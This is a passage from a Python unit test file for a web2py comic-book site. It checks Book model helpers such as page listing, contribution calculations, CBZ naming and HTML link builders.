self.add(BookPageTmp, dict(\n book_id=self._book.id,\n page_no=2,\n ))\n\n super().setUp()\n\n def _set_pages(self, book, num_of_pages):\n set_pages(self, book, num_of_pages)\n\n\nclass TestBook(WithObjectsTestCase):\n\n def test_parent__init__(self):\n book = Book({'name': '_test_parent__init__'})\n self.assertEqual(book.name, '_test_parent__init__')\n self.assertEqual(book.db_table, 'book')\n\n def test__page_count(self):\n book = self.add(Book, dict(name='test__pages'))\n self.assertEqual(book.page_count(), 0)\n self.assertEqual(self._book.page_count(), 2)\n\n def test__pages(self):\n book = self.add(Book, dict(name='test__pages'))\n self.assertEqual(len(book.pages()), 0)\n\n pages = self._book.pages()\n for p in pages:\n self.assertTrue(isinstance(p, BookPage))\n self.assertEqual(len(pages), 2)\n self.assertEqual(pages[0].page_no, 1)\n self.assertEqual(pages[1].page_no, 2)\n\n # Test orderby\n orderby = [~db.book_page.page_no]\n pages = self._book.pages(orderby=orderby)\n self.assertEqual(pages[0].page_no, 2)\n self.assertEqual(pages[1].page_no, 1)\n\n # Test limitby\n pages = self._book.pages(limitby=(0, 1))\n self.assertEqual(len(pages), 1)\n self.assertEqual(pages[0].page_no, 1)\n\n def test__tmp_pages(self):\n book = self.add(Book, dict(name='test__tmp_pages'))\n self.assertEqual(len(book.tmp_pages()), 0)\n\n pages = self._book.tmp_pages()\n for p in pages:\n self.assertTrue(isinstance(p, BookPageTmp))\n self.assertEqual(len(pages), 2)\n self.assertEqual(pages[0].page_no, 1)\n self.assertEqual(pages[1].page_no, 2)\n\n # Test orderby\n orderby = [~db.book_page_tmp.page_no]\n pages = self._book.tmp_pages(orderby=orderby)\n self.assertEqual(pages[0].page_no, 2)\n self.assertEqual(pages[1].page_no, 1)\n\n # Test limitby\n pages = self._book.tmp_pages(limitby=(0, 1))\n self.assertEqual(len(pages), 1)\n self.assertEqual(pages[0].page_no, 1)\n\n\nclass TestFunctions(WithObjectsTestCase, ImageTestCase):\n # pylint: disable=too-many-public-methods\n\n def test__book_name(self):\n book = Book(dict(\n name='My Book',\n book_type_id=BookType.by_name('mini-series').id,\n number=2,\n of_number=19,\n name_for_search='my-search-kw',\n name_for_url='MyUrlName',\n ))\n\n tests = [\n # (use, expect)\n ('file', 'My Book 02 (of 19)'),\n ('search', 'my-search-kw'),\n ('url', 'MyUrlName'),\n ]\n\n for t in tests:\n self.assertEqual(book_name(book, use=t[0]), t[1])\n\n def test__book_page_for_json(self):\n filename = 'file.jpg'\n self._set_image(\n db.book_page.image,\n self._book_page,\n self._prep_image(filename),\n resizer=ResizerQuick\n )\n\n down_url = urllib.parse.quote(\n '/images/download/{img}'.format(img=self._book_page.image)\n )\n thumb = down_url + '?size=web'\n fmt = '/login/book_pages_handler/{bid}?book_page_id={pid}'\n delete_url = fmt.format(\n bid=self._book_page.book_id,\n pid=self._book_page.id\n )\n\n self.assertEqual(\n book_page_for_json(self._book_page),\n {\n 'book_id': self._book_page.book_id,\n 'book_page_id': self._book_page.id,\n 'name': filename,\n 'size': 23127,\n 'url': down_url,\n 'thumbnailUrl': thumb,\n 'deleteUrl': delete_url,\n 'deleteType': 'DELETE',\n }\n )\n\n def test__book_pages_as_json(self):\n filename = 'portrait.png'\n self._set_image(\n db.book_page.image,\n self._book_page,\n self._prep_image(filename),\n resizer=ResizerQuick\n )\n\n filename_2 = 'landscape.png'\n self._set_image(\n db.book_page.image,\n self._book_page_2,\n self._prep_image(filename_2),\n resizer=ResizerQuick\n )\n\n as_json = book_pages_as_json(self._book)\n data = json.loads(as_json)\n self.assertTrue('files' in data)\n self.assertEqual(len(data['files']), 2)\n self.assertEqual(sorted(data['files'][0].keys()), [\n 'book_id',\n 'book_page_id',\n 'deleteType',\n 'deleteUrl',\n 'name',\n 'size',\n 'thumbnailUrl',\n 'url',\n ])\n self.assertEqual(data['files'][0]['name'], 'portrait.png')\n self.assertEqual(data['files'][1]['name'], 'landscape.png')\n\n # Test book_page_ids param.\n as_json = book_pages_as_json(\n self._book, book_page_ids=[self._book_page.id])\n data = json.loads(as_json)\n self.assertTrue('files' in data)\n self.assertEqual(len(data['files']), 1)\n self.assertEqual(data['files'][0]['name'], 'portrait.png')\n\n @skip_if_quick\n def test__book_pages_from_tmp(self):\n book = self.add(Book, dict(name='test__book_pages_from_tmp'))\n\n book_page_tmps = []\n\n img_filenames = ['file_1.jpg', 'file_2.jpg']\n stored_filenames = []\n\n for img_filename in img_filenames:\n filename = self._prep_image('cbz_plus.jpg', to_name=img_filename)\n stored_filename = store(db.book_page_tmp.image, filename)\n stored_filenames.append(stored_filename)\n\n book_page_tmps.append(\n self.add(BookPageTmp, dict(\n book_id=book.id,\n page_no=1,\n image=stored_filenames[0],\n created_on='2020-11-18 18:20:35',\n updated_on='2020-11-18 18:20:40',\n ))\n )\n\n book_page_tmps.append(\n self.add(BookPageTmp, dict(\n book_id=book.id,\n page_no=2,\n image=stored_filenames[1],\n created_on='2020-11-18 18:20:35',\n updated_on='2020-11-18 18:20:40',\n ))\n )\n\n fullnames = []\n fullnames.append(book_page_tmps[0].upload_image().fullname())\n fullnames.append(book_page_tmps[1].upload_image().fullname())\n\n pages = book.pages()\n self.assertEqual(len(pages), 0)\n\n book_pages_from_tmp(book)\n\n pages = book.pages()\n self.assertEqual(len(pages), len(book_page_tmps))\n\n for count, page in enumerate(pages):\n self._objects.append(page)\n for field in db.book_page.fields:\n if field == 'image':\n expect = book_page_tmps[count][field].replace(\n 'book_page_tmp.image',\n 'book_page.image'\n )\n self.assertEqual(page[field], expect)\n else:\n self.assertEqual(page[field], book_page_tmps[count][field])\n for fullname in fullnames:\n new_fullname = fullname.replace(\n 'book_page_tmp.image',\n 'book_page.image'\n )\n for size in SIZES:\n sized_fullname = new_fullname.replace('original', size)\n self.assertTrue(os.path.exists(sized_fullname))\n\n @skip_if_quick\n def test__book_pages_to_tmp(self):\n book = self.add(Book, dict(name='test__book_pages_to_tmp'))\n\n book_pages = []\n\n img_filenames = ['file_1.jpg', 'file_2.jpg']\n stored_filenames = []\n\n for img_filename in img_filenames:\n filename = self._prep_image('cbz_plus.jpg', to_name=img_filename)\n stored_filename = store(db.book_page.image, filename)\n stored_filenames.append(stored_filename)\n\n book_pages.append(\n self.add(BookPage, dict(\n book_id=book.id,\n page_no=1,\n image=stored_filenames[0],\n created_on='2020-11-18 18:19:35',\n updated_on='2020-11-18 18:19:40',\n ))\n )\n\n book_pages.append(\n self.add(BookPage, dict(\n book_id=book.id,\n page_no=2,\n image=stored_filenames[1],\n created_on='2020-11-18 18:20:35',\n updated_on='2020-11-18 18:20:40',\n ))\n )\n\n fullnames = []\n fullnames.append(book_pages[0].upload_image().fullname())\n fullnames.append(book_pages[1].upload_image().fullname())\n\n tmp_pages = book.tmp_pages()\n self.assertEqual(len(tmp_pages), 0)\n\n book_pages_to_tmp(book)\n\n tmp_pages = book.tmp_pages()\n self.assertEqual(len(tmp_pages), len(book_pages))\n\n for count, page in enumerate(tmp_pages):\n self._objects.append(page)\n for field in db.book_page.fields:\n if field == 'image':\n expect = book_pages[count][field].replace(\n 'book_page.image',\n 'book_page_tmp.image'\n )\n self.assertEqual(page[field], expect)\n else:\n self.assertEqual(page[field], book_pages[count][field])\n for fullname in fullnames:\n new_fullname = fullname.replace(\n 'book_page.image',\n 'book_page_tmp.image'\n )\n for size in SIZES:\n sized_fullname = new_fullname.replace('original', size)\n self.assertTrue(os.path.exists(sized_fullname))\n\n def test__book_pages_years(self):\n book = self.add(Book, dict(name='test__book_pages_years'))\n\n self.assertEqual(book_pages_years(book), [])\n\n self.add(BookPage, dict(\n book_id=book.id,\n page_no=1,\n created_on='2010-12-31 01:01:01',\n ))\n\n self.assertEqual(book_pages_years(book), [2010])\n\n self.add(BookPage, dict(\n book_id=book.id,\n page_no=2,\n created_on='2011-12-31 01:01:01',\n ))\n\n self.assertEqual(book_pages_years(book), [2010, 2011])\n\n self.add(BookPage, dict(\n book_id=book.id,\n page_no=3,\n created_on='2014-12-31 01:01:01',\n ))\n\n self.assertEqual(book_pages_years(book), [2010, 2011, 2014])\n\n def test__book_tables(self):\n bookish_fields = ['book_id']\n expect = []\n for table in db.tables:\n for field in db[table].fields:\n if field in bookish_fields:\n expect.append(table)\n continue\n self.assertEqual(sorted(book_tables()), sorted(expect))\n\n def test__book_types(self):\n xml = book_types()\n expect = (\n b\"\"\"{\"value\":\"1\", \"text\":\"Ongoing (eg 001, 002, 003, etc)\"},\"\"\"\n b\"\"\"{\"value\":\"2\", \"text\":\"Mini-series (eg 01 of 04)\"},\"\"\"\n b\"\"\"{\"value\":\"3\", \"text\":\"One-shot/Graphic Novel\"}\"\"\"\n )\n self.assertEqual(xml.xml(), expect)\n\n def test__calc_contributions_remaining(self):\n # pylint: disable=invalid-name\n\n book = self.add(Book, dict(\n name='test__calc_contributions_remaining',\n ))\n\n # Book has no pages\n self.assertEqual(calc_contributions_remaining(book), 0.00)\n\n # Invalid book\n self.assertEqual(calc_contributions_remaining(None), 0.00)\n\n self._set_pages(book, 10)\n\n # Book has no contributions\n self.assertEqual(calc_contributions_remaining(book), 100.00)\n\n # Book has one contribution\n self.add(Contribution, dict(\n book_id=book.id,\n amount=15.00,\n ))\n self.assertEqual(calc_contributions_remaining(book), 85.00)\n\n # Book has multiple contribution\n self.add(Contribution, dict(\n book_id=book.id,\n amount=35.99,\n ))\n self.assertEqual(calc_contributions_remaining(book), 49.01)\n\n def test__calc_status(self):\n book = self.add(Book, dict(\n name='test__calc_status',\n ))\n\n tests = [\n # (pages, disabled, expect)\n (0, False, BOOK_STATUS_DRAFT),\n (0, True, BOOK_STATUS_DISABLED),\n (1, False, BOOK_STATUS_ACTIVE),\n (1, True, BOOK_STATUS_DISABLED),\n ]\n\n for t in tests:\n page_count = book.page_count()\n\n if t[0] > 0 and not page_count:\n self.add(BookPage, dict(\n book_id=book.id\n ))\n if t[0] == 0 and page_count:\n for page in book.pages():\n page.delete()\n if t[1]:\n book = Book.from_updated(\n book, dict(status=BOOK_STATUS_DISABLED))\n else:\n book = Book.from_updated(book, dict(status=''))\n self.assertEqual(calc_status(book), t[2])\n\n def test__cbz_comment(self):\n cc_by_nd = CCLicence.by_code('CC BY-ND')\n\n book = Book(dict(\n name='My Book',\n number=2,\n of_number=4,\n creator_id=-1,\n publication_year=1999,\n book_type_id=BookType.by_name('mini-series').id,\n cc_licence_id=cc_by_nd.id,\n ))\n\n # Creator record not found\n self.assertRaises(LookupError, cbz_comment, book)\n\n auth_user = self.add(AuthUser, dict(name='Test CBZ Comment'))\n creator = self.add(Creator, dict(auth_user_id=auth_user.id))\n book.update(creator_id=creator.id)\n\n # pylint: disable=line-too-long\n fmt = '1999|Test CBZ Comment|My Book|02 (of 04)|CC BY-ND|http://{cid}.zco.mx'\n self.assertEqual(\n cbz_comment(book),\n fmt.format(cid=creator.id),\n )\n\n def test__cbz_link(self):\n empty = ''\n\n creator = self.add(Creator, dict(\n email='test__cbz_link@example.com',\n name_for_url='FirstLast',\n ))\n\n book = Book(dict(\n name='My Book',\n creator_id=creator.id,\n name_for_url='MyBook-02of98'\n ))\n\n link = cbz_link(book)\n soup = BeautifulSoup(str(link), 'html.parser')\n anchor = soup.find('a')\n self.assertEqual(anchor.string, 'mybook-02of98.cbz')\n self.assertEqual(\n anchor['href'],\n '/FirstLast/MyBook-02of98.cbz',\n )\n\n # Invalid book\n self.assertEqual(str(cbz_link(None)), empty)\n\n # Test components param\n components = ['aaa', 'bbb']\n link = cbz_link(book, components=components)\n soup = BeautifulSoup(str(link), 'html.parser')\n anchor = soup.find('a')\n self.assertEqual(anchor.string, 'aaabbb')\n\n components = [IMG(_src='http://www.img.com', _alt='')]\n link = cbz_link(book, components=components)\n soup = BeautifulSoup(str(link), 'html.parser')\n anchor = soup.find('a')\n img = anchor.img\n self.assertEqual(img['src'], 'http://www.img.com')\n\n # Test attributes\n attributes = dict(\n _href='/path/to/file',\n _class='btn btn-large',\n _target='_blank',\n _rel='noopener noreferrer',\n )\n link = cbz_link(book, **attributes)\n soup = BeautifulSoup(str(link), 'html.parser')\n anchor = soup.find('a')\n self.assertEqual(anchor.string, 'mybook-02of98.cbz')\n self.assertEqual(anchor['href'], '/path/to/file')\n self.assertEqual(anchor['class'], ['btn', 'btn-large'])\n self.assertEqual(anchor['target'], '_blank')\n self.assertEqual(anchor['rel'], ['noopener', 'noreferrer'])\n\n def test__cbz_url(self):\n creator = self.add(Creator, dict(\n email='test__cbz_url@example.com',\n name_for_url='FirstLast',\n ))\n\n book = Book(dict(\n name='My Book',\n creator_id=creator.id,\n name_for_url='MyBook-002',\n ))\n\n self.assertEqual(cbz_url(book), '/FirstLast/MyBook-002.cbz')\n\n book.update(name_for_url='MyBook-03of09')\n self.assertEqual(cbz_url(book), '/FirstLast/MyBook-03of09.cbz')\n\n def test__cc_licence_data(self):\n test_today = datetime.date(2009, 12, 31)\n with DateMock(test_today):\n self.assertEqual(datetime.date.today(), test_today)\n\n auth_user = self.add(\n db.auth_user, dict(name='Test CC Licence Data'))\n creator = self.add(Creator, dict(auth_user_id=auth_user.id))\n\n book = self.add(Book, dict(\n id=-1,\n name='test__cc_licence_data',\n creator_id=creator.id,\n book_type_id=BookType.by_name('one-shot').id,\n name_for_url='TestCcLicenceData',\n cc_licence_place=None,\n ))\n\n self.add(BookPage, dict(\n book_id=book.id,\n page_no=1,\n created_on='2010-12-31 01:01:01',\n ))\n\n self.assertEqual(\n cc_licence_data(book),\n {\n 'owner': 'Test CC Licence Data',\n 'owner_url': 'http://{cid}.zco.mx'.format(cid=creator.id),\n 'year': '2010',\n 'place': None,\n 'title': 'test__cc_licence_data',\n 'title_url':\n 'http://{cid}.zco.mx/TestCcLicenceData'.format(\n cid=creator.id),\n }\n )\n\n book = Book.from_updated(book, dict(cc_licence_place='Canada'))\n self.assertEqual(\n cc_licence_data(book),\n {\n 'owner': 'Test CC Licence Data',\n 'owner_url': 'http://{cid}.zco.mx'.format(cid=creator.id),\n 'year': '2010',\n 'place': 'Canada',\n 'title': 'test__cc_licence_data',\n 'title_url':\n 'http://{cid}.zco.mx/TestCcLicenceData'.format(\n cid=creator.id),\n }\n )\n\n self.assertEqual(cc_licence_data(book)['year'], '2010')\n # Add second book page with different year.\n self.add(BookPage, dict(\n book_id=book.id,\n page_no=2,\n created_on='2014-12-31 01:01:01',\n ))\n\n self.assertEqual(cc_licence_data(book)['year'], '2010-2014')\n\n def test__complete_link(self):\n empty = ''\n\n book = Book(dict(\n id=123,\n name='test__complete_link',\n complete_in_progress=False,\n ))\n\n self.assertEqual(book.complete_in_progress, False)\n\n link = complete_link(book)\n soup = BeautifulSoup(str(link), 'html.parser')\n # \n #
    \n # \n #
    \n #
    \n anchor = soup.find('a')\n self.assertEqual(\n anchor['href'],\n '/login/book_complete/123'\n )\n self.assertEqual(\n anchor['class'], ['modal-complete-btn', 'no_rclick_menu'])\n self.assertEqual(anchor['data-book_id'], '123')\n div = anchor.find('div')\n self.assertEqual(div['class'], ['checkbox_wrapper'])\n checkbox_input = div.find('input')\n self.assertEqual(checkbox_input['type'], 'checkbox')\n self.assertEqual(checkbox_input['value'], 'off')\n\n # Invalid id\n link = complete_link(None)\n self.assertEqual(str(link), empty)\n\n # Test components param\n components = ['aaa', 'bbb']\n link = complete_link(book, components=components)\n soup = BeautifulSoup(str(link), 'html.parser')\n anchor = soup.find('a')\n self.assertEqual(anchor.string, 'aaabbb')\n\n components = [IMG(_src='http://www.img.com', _alt='')]\n link = complete_link(book, components=components)\n soup = BeautifulSoup(str(link), 'html.parser')\n anchor = soup.find('a')\n img = anchor.img\n self.assertEqual(img['src'], 'http://www.img.com')\n\n # Test attributes\n attributes = dict(\n _href='/path/to/file',\n _class='btn btn-large',\n _target='_blank',\n _rel='noopener noreferrer',\n )\n link = complete_link(book, **attributes)\n soup = BeautifulSoup(str(link), 'html.parser')\n anchor = soup.find('a')\n div = anchor.find('div')\n self.assertEqual(div['class'], ['checkbox_wrapper'])\n self.assertEqual(anchor['href'], '/path/to/file')\n self.assertEqual(anchor['class'], ['btn', 'btn-large'])\n self.assertEqual(anchor['target'], '_blank')\n self.assertEqual(anchor['rel'], ['noopener', 'noreferrer'])\n\n def test__contribute_link(self):\n empty = ''\n\n book = Book(dict(\n id=123,\n name='test__contribute_link',\n ))\n\n link = contribute_link(book)\n # Eg \n # Contribute\n # \n soup = BeautifulSoup(str(link), 'html.parser')\n anchor = soup.find('a')\n self.assertEqual(anchor.string, 'Contribute')\n self.assertEqual(\n anchor['href'],\n '/contributions/modal?book_id=123'\n )\n\n # Invalid id\n link = contribute_link(None)\n self.assertEqual(str(link), empty)\n\n # Test components param\n components = ['aaa', 'bbb']\n link = contribute_link(book, components=components)\n soup = BeautifulSoup(str(link), 'html.parser')\n anchor = soup.find('a')\n self.assertEqual(anchor.string, 'aaabbb')\n\n components = [IMG(_src='http://www.img.com', _alt='')]\n link = contribute_link(book, components=components)\n soup = BeautifulSoup(str(link), 'html.parser')\n anchor = soup.find('a')\n img = anchor.img\n self.assertEqual(img['src'], 'http://www.img.com')\n\n # Test attributes\n attributes = dict(\n _href='/path/to/file',\n _class='btn btn-large',\n _target='_blank',\n _rel='noopener noreferrer',\n )\n link = contribute_link(book, **attributes)\n soup = BeautifulSoup(str(link), 'html.parser')\n anchor = soup.find('a')\n self.assertEqual(anchor.string, 'Contribute')\n self.assertEqual(anchor['href'], '/path/to/file')\n self.assertEqual(anchor['class'], ['btn', 'btn-large'])\n self.assertEqual(anchor['target'], '_blank')\n self.assertEqual(anchor['rel'], ['noopener', 'noreferrer'])\n\n def test__contributions_remaining_by_creator(self):\n # pylint: disable=invalid-name\n creator = self.add(Creator, dict(\n name_for_url='FirstLast',\n ))\n\n # Creator has no books\n self.assertEqual(contributions_remaining_by_creator(creator), 0.00)\n\n book = self.add(Book, dict(\n name='test__contributions_remaining_by_creator',\n creator_id=creator.id,\n status=BOOK_STATUS_ACTIVE,\n ))\n self._set_pages(book, 10)\n self.assertEqual(contributions_target(book), 100.00)\n\n # Book has no contributions\n self.assertEqual(\n contributions_remaining_by_creator(creator),\n 100.00\n )\n\n # Book has one contribution\n self.add(Contribution, dict(\n book_id=book.id,\n amount=15.00,\n ))\n self.assertEqual(\n contributions_remaining_by_creator(creator),\n 85.00\n )\n\n # Book has multiple contribution\n self.add(Contribution, dict(\n book_id=book.id,\n amount=35.99,\n ))\n self.assertEqual(\n contributions_remaining_by_creator(creator),\n 49.01\n )\n\n # Creator has multiple books.\n book_2 = self.add(Book, dict(\n name='test__contributions_remaining_by_creator',\n creator_id=creator.id,\n status=BOOK_STATUS_DRAFT,\n ))\n self._set_pages(book_2, 5)\n self.assertEqual(contributions_target(book_2), 50.00)\n\n # status = draft\n self.assertEqual(\n contributions_remaining_by_creator(creator),\n 49.01\n )\n book_2 = Book.from_updated(book_2, dict(status=BOOK_STATUS_ACTIVE))\n self.assertAlmostEqual(\n contributions_remaining_by_creator(creator),\n 99.01\n )\n\n def test__contributions_target(self):\n book = self.add(Book, dict(name='test__contributions_target'))\n\n # Book has no pages\n self.assertEqual(contributions_target(book), 0.00)\n\n # Invalid book\n self.assertEqual(contributions_target(None), 0.00)\n\n tests = [\n # (pages, expect)\n (0, 0.00),\n (1, 10.00),\n (19, 190.00),\n (20, 200.00),\n (21, 210.00),\n (39, 390.00),\n (100, 1000.00),\n ]\n\n for t in tests:\n self._set_pages(book, t[0])\n self.assertEqual(contributions_target(book), t[1])\n\n def test__cover_image(self):\n\n placeholder = \\\n '
    '\n\n self.assertEqual(str(cover_image(0)), placeholder)\n\n book = self.add(Book, dict(name='test__cover_image'))\n\n # Book has no pages\n self.assertEqual(str(cover_image(book)), placeholder)\n\n book_images = [\n 'book_page.image.page_trees.png',\n 'book_page.image.page_flowers.png',\n 'book_page.image.page_birds.png',\n ]\n for count, i in enumerate(book_images):\n self.add(BookPage, dict(\n book_id=book.id,\n page_no=(count + 1),\n image=i,\n ))\n\n # pylint: disable=line-too-long\n self.assertEqual(\n str(cover_image(book)),\n '\"\"'\n )\n\n def test__default_contribute_amount(self):\n book = self.add(Book, dict(name='test__default_contribute_amount'))\n\n # Book has no pages\n self.assertEqual(default_contribute_amount(book), 1.00)\n\n tests = [\n # (pages, expect)\n (0, 1.00),\n (1, 1.00),\n (19, 1.00),\n (20, 1.00),\n (21, 1.00),\n (39, 2.00),\n (40, 2.00),\n (41, 2.00),\n (100, 5.00),\n ]\n\n # Tests for books with many pages are slow and create many records\n # in the database. Require force to run.\n if self._opts.force:\n tests.append((400, 20.00))\n tests.append((1000, 20.00))\n\n for t in tests:\n self._set_pages(book, t[0])\n self.assertEqual(default_contribute_amount(book), t[1])\n\n def test__defaults(self):\n types_by_name = {}\n for row in db(db.book_type).select(db.book_type.ALL):\n types_by_name[row.name] = row\n\n # Test book unique name\n got = defaults('_test__defaults_', self._creator)\n expect = {\n 'name': '_test__defaults_',\n 'book_type_id': types_by_name[DEFAULT_BOOK_TYPE].id,\n 'number': 1,\n 'of_number': 1,\n 'creator_id': self._creator.id,\n 'name_for_search': 'test-defaults',\n 'name_for_url': 'TestDefaults',\n }\n self.assertEqual(got, expect)\n\n # Test book name not unique, various number values.\n data = dict(\n book_type_id=types_by_name[DEFAULT_BOOK_TYPE].id,\n number=1,\n of_number=1\n )\n self._book = Book.from_updated(self._book, data)\n\n got = defaults(self._book.name, self._creator)\n expect = {\n 'name': self._book.name,\n 'book_type_id': types_by_name[DEFAULT_BOOK_TYPE].id,\n 'number': 2,\n 'of_number': 1,\n 'creator_id': self._creator.id,\n 'name_for_search': 'image-test-case',\n 'name_for_url': 'ImageTestCase',\n }\n self.assertEqual(got, expect)\n\n data = dict(\n number=2,\n of_number=9\n )\n self._book = Book.from_updated(self._book, data)\n got = defaults(self._book.name, self._creator)\n expect = {\n 'name': self._book.name,\n 'book_type_id': types_by_name[DEFAULT_BOOK_TYPE].id,\n 'number': 3,\n 'of_number': 9,\n 'creator_id': self._creator.id,\n 'name_for_search': 'image-test-case',\n 'name_for_url': 'ImageTestCase',\n }\n self.assertEqual(got, expect)\n\n # Test invalid creator\n data = dict(\n book_type_id=types_by_name[DEFAULT_BOOK_TYPE].id,\n number=1,\n of_number=1\n )\n self._book = Book.from_updated(self._book, data)\n got = defaults(self._book.name, None)\n self.assertEqual(got, {})\n\n def test__delete_link(self):\n empty = ''\n\n book = Book(dict(\n id=123,\n name='test__delete_link',\n ))\n\n link = delete_link(book)\n # Eg \n # \n # \n soup = BeautifulSoup(str(link), 'html.parser')\n anchor = soup.find('a')\n\n icon = anchor.find('i')\n self.assertEqual(icon.string, None)\n self.assertEqual(icon['class'], ['icon', 'zc-trash', 'size-18'])\n\n self.assertEqual(\n anchor['class'],\n [\n 'btn',\n 'btn-default',\n 'btn-xs',\n 'modal-delete-btn',\n 'no_rclick_menu',\n ]\n )\n self.assertEqual(anchor['data-book_id'], '123')\n self.assertEqual(anchor['href'], '/login/book_delete/123')\n\n # Invalid id\n link = delete_link(None)\n self.assertEqual(str(link), empty)\n\n # Test components param\n components = ['aaa', 'bbb']\n link = delete_link(book, components=components)\n soup = BeautifulSoup(str(link), 'html.parser')\n anchor = soup.find('a')\n self.assertEqual(anchor.string, 'aaabbb')\n\n # Test attributes\n attributes = dict(\n _href='/path/to/file',\n _class='btn btn-large',\n _target='_blank',\n _rel='noopener noreferrer',\n )\n link = delete_link(book, **attributes)\n soup = BeautifulSoup(str(link), 'html.parser')\n anchor = soup.find('a')\n self.assertEqual(anchor['href'], '/path/to/file')\n self.assertEqual(anchor['class'], ['btn', 'btn-large'])\n self.assertEqual(anchor['target'], '_blank')\n self.assertEqual(anchor['rel'], ['noopener', 'noreferrer'])\n\n def test__download_link(self):\n empty = ''\n\n book = Book(dict(\n id=123,\n name='test__download_link',\n cbz='_test_cbz_',\n torrent='_test_torrent_',\n status=BOOK_STATUS_ACTIVE,\n ))\n\n link = download_link(book)\n # Eg Download\n soup = BeautifulSoup(str(link), 'html.parser')\n anchor = soup.find('a')\n self.assertEqual(anchor.string, 'Download')\n self.assertEqual(\n anchor['href'],\n '/downloads/modal/book/123'\n )\n\n # Invalid id\n link = download_link(None)\n self.assertEqual(str(link), empty)\n\n # Test components param\n components = ['aaa', 'bbb']\n link = download_link(book, components=components)\n soup = BeautifulSoup(str(link), 'html.parser')\n anchor = soup.find('a')\n self.assertEqual(anchor.string, 'aaabbb')\n\n components = [IMG(_src='http://www.img.com', _alt='')]\n link = download_link(book, components=components)\n soup = BeautifulSoup(str(link), 'html.parser')\n anchor = soup.find('a')\n img = anchor.img\n self.assertEqual(img['src'], 'http://www.img.com')\n\n # Test attributes\n attributes = dict(\n _href='/path/to/file',\n _class='btn btn-large',\n _target='_blank',\n _rel='noopener noreferrer',\n )\n link = download_link(book, **attributes)\n soup = BeautifulSoup(str(link), 'html.parser')\n anchor = soup.find('a')\n self.assertEqual(anchor.string, 'Download')\n self.assertEqual(anchor['href'], '/path/to/file')\n self.assertEqual(anchor['class'], ['btn', 'btn-large', 'enabled'])\n self.assertEqual(anchor['target'], '_blank')\n self.assertEqual(anchor['rel'], ['noopener', 'noreferrer'])\n\n # Test disabled\n book.cbz = ''\n link = download_link(book)\n soup = BeautifulSoup(str(link), 'html.parser')\n self.assertEqual(soup.find('a'), None)\n span = soup.find('span')\n # Download\n self.assertEqual(span.string, 'Download')\n self.assertEqual(span['class'], ['disabled'])\n self.assertEqual(\n span['title'],\n 'This book has not been released for file sharing.'\n )\n\n def test__downloadable(self):\n got = downloadable()\n expect = db(db.book.torrent != '').count()\n self.assertTrue(len(got), expect)\n self.assertTrue(isinstance(got[0], Book))\n\n # Test creator_id\n creator = Creator.from_key({'email': 'jimkarsten@gmail.com'})\n got = downloadable(creator_id=creator.id)\n self.assertEqual(len(got), 1)\n self.assertEqual(got[0].name, 'Test Do Not Delete')\n\n # Test orderby, limitby\n got = downloadable(orderby=db.book.name, limitby=(0, 10))\n self.assertEqual(len(got), 10)\n unsorted_names = [x.name for x in got]\n self.assertEqual(unsorted_names, sorted(unsorted_names))\n\n def test__edit_link(self):\n empty = ''\n\n book = Book(dict(\n id=123,\n name='test__edit_link',\n ))\n\n link = edit_link(book)\n # Eg Edit\n soup = BeautifulSoup(str(link), 'html.parser')\n anchor = soup.find('a')\n self.assertEqual(anchor.string, 'Edit')\n self.assertEqual(\n anchor['class'],\n [\n 'btn',\n 'btn-default',\n 'modal-edit-btn',\n 'no_rclick_menu',\n ]\n )\n self.assertEqual(anchor['data-book_id'], '123')\n self.assertEqual(anchor['href'], '/login/book_edit/123')\n\n # Invalid id\n link = edit_link(None)\n self.assertEqual(str(link), empty)\n\n # Test allow_upload_on_edit\n tests = [\n # (allow_upload_on_edit, expect class)\n (False, 'modal-edit-btn'),\n (True, 'modal-edit-ongoing-btn'),\n ]\n for t in tests:\n link = edit_link(book, allow_upload_on_edit=t[0])\n soup = BeautifulSoup(str(link), 'html.parser')\n anchor = soup.find('a')\n self.assertEqual(\n anchor['class'],\n [\n 'btn',\n 'btn-default',\n t[1],\n 'no_rclick_menu',\n ]\n )\n\n # Test components param\n components = ['aaa', 'bbb']\n link = edit_link(book, components=components)\n soup = BeautifulSoup(str(link), 'html.parser')\n anchor = soup.find('a')\n self.assertEqual(anchor.string, 'aaabbb')\n\n # Test attributes\n attributes = dict(\n _href='/path/to/file',\n _class='btn btn-large',\n _target='_blank',\n _rel='noopener noreferrer',\n )\n link = edit_link(book, **attributes)\n soup = BeautifulSoup(str(link), 'html.parser')\n anchor = soup.find('a')\n self.assertEqual(anchor['href'], '/path/to/file')\n self.assertEqual(anchor['class'], ['btn', 'btn-large'])\n self.assertEqual(anchor['target'], '_blank')\n self.assertEqual(anchor['rel'], ['noopener', 'noreferrer'])\n\n def test__fileshare_link(self):\n empty = ''\n\n book = Book(dict(\n id=123,\n name='test__fileshare_link',\n fileshare_in_progress=False,\n ))\n\n self.assertEqual(book.fileshare_in_progress, False)\n\n link = fileshare_link(book)\n soup = BeautifulSoup(str(link), 'html.parser')\n # \n #
    \n # \n #
    \n #
    \n anchor = soup.find('a')\n self.assertEqual(\n anchor['href'],\n '/login/book_fileshare/123'\n )\n self.assertEqual(\n anchor['class'], ['modal-fileshare-btn', 'no_rclick_menu'])\n self.assertEqual(anchor['data-book_id'], '123')\n div = anchor.find('div')\n self.assertEqual(div['class'], ['checkbox_wrapper'])\n checkbox_input = div.find('input')\n self.assertEqual(checkbox_input['type'], 'checkbox')\n self.assertEqual(checkbox_input['value'], 'off')\n\n # Invalid id\n link = fileshare_link(None)\n self.assertEqual(str(link), empty)\n\n # Test components param\n components = ['aaa', 'bbb']\n link = fileshare_link(book, components=components)\n soup = BeautifulSoup(str(link), 'html.parser')\n anchor = soup.find('a')\n self.assertEqual(anchor.string, 'aaabbb')\n\n components = [IMG(_src='http://www.img.com', _alt='')]\n link = fileshare_link(book, components=components)\n soup = BeautifulSoup(str(link), 'html.parser')\n anchor = soup.find('a')\n img = anchor.img\n self.assertEqual(img['src'], 'http://www.img.com')\n\n # Test attributes\n attributes = dict(\n _href='/path/to/file',\n _class='btn btn-large',\n _target='_blank',\n _rel='noopener noreferrer',\n )\n link = fileshare_link(book, **attributes)\n soup = BeautifulSoup(str(link), 'html.parser')\n anchor = soup.find('a')\n div = anchor.find('div')\n self.assertEqual(div['class'], ['checkbox_wrapper'])\n self.assertEqual(anchor['href'], '/path/to/file')\n self.assertEqual(anchor['class'], ['btn', 'btn-large'])\n self.assertEqual(anchor['target'], '_blank')\n self.assertEqual(anchor['rel'], ['noopener', 'noreferrer'])\n\n def test__follow_link(self):\n book = Row(dict(\n name='test__follow_link',\n creator_id=123,\n ))\n\n link = follow_link(book)\n # Eg Follow\n soup = 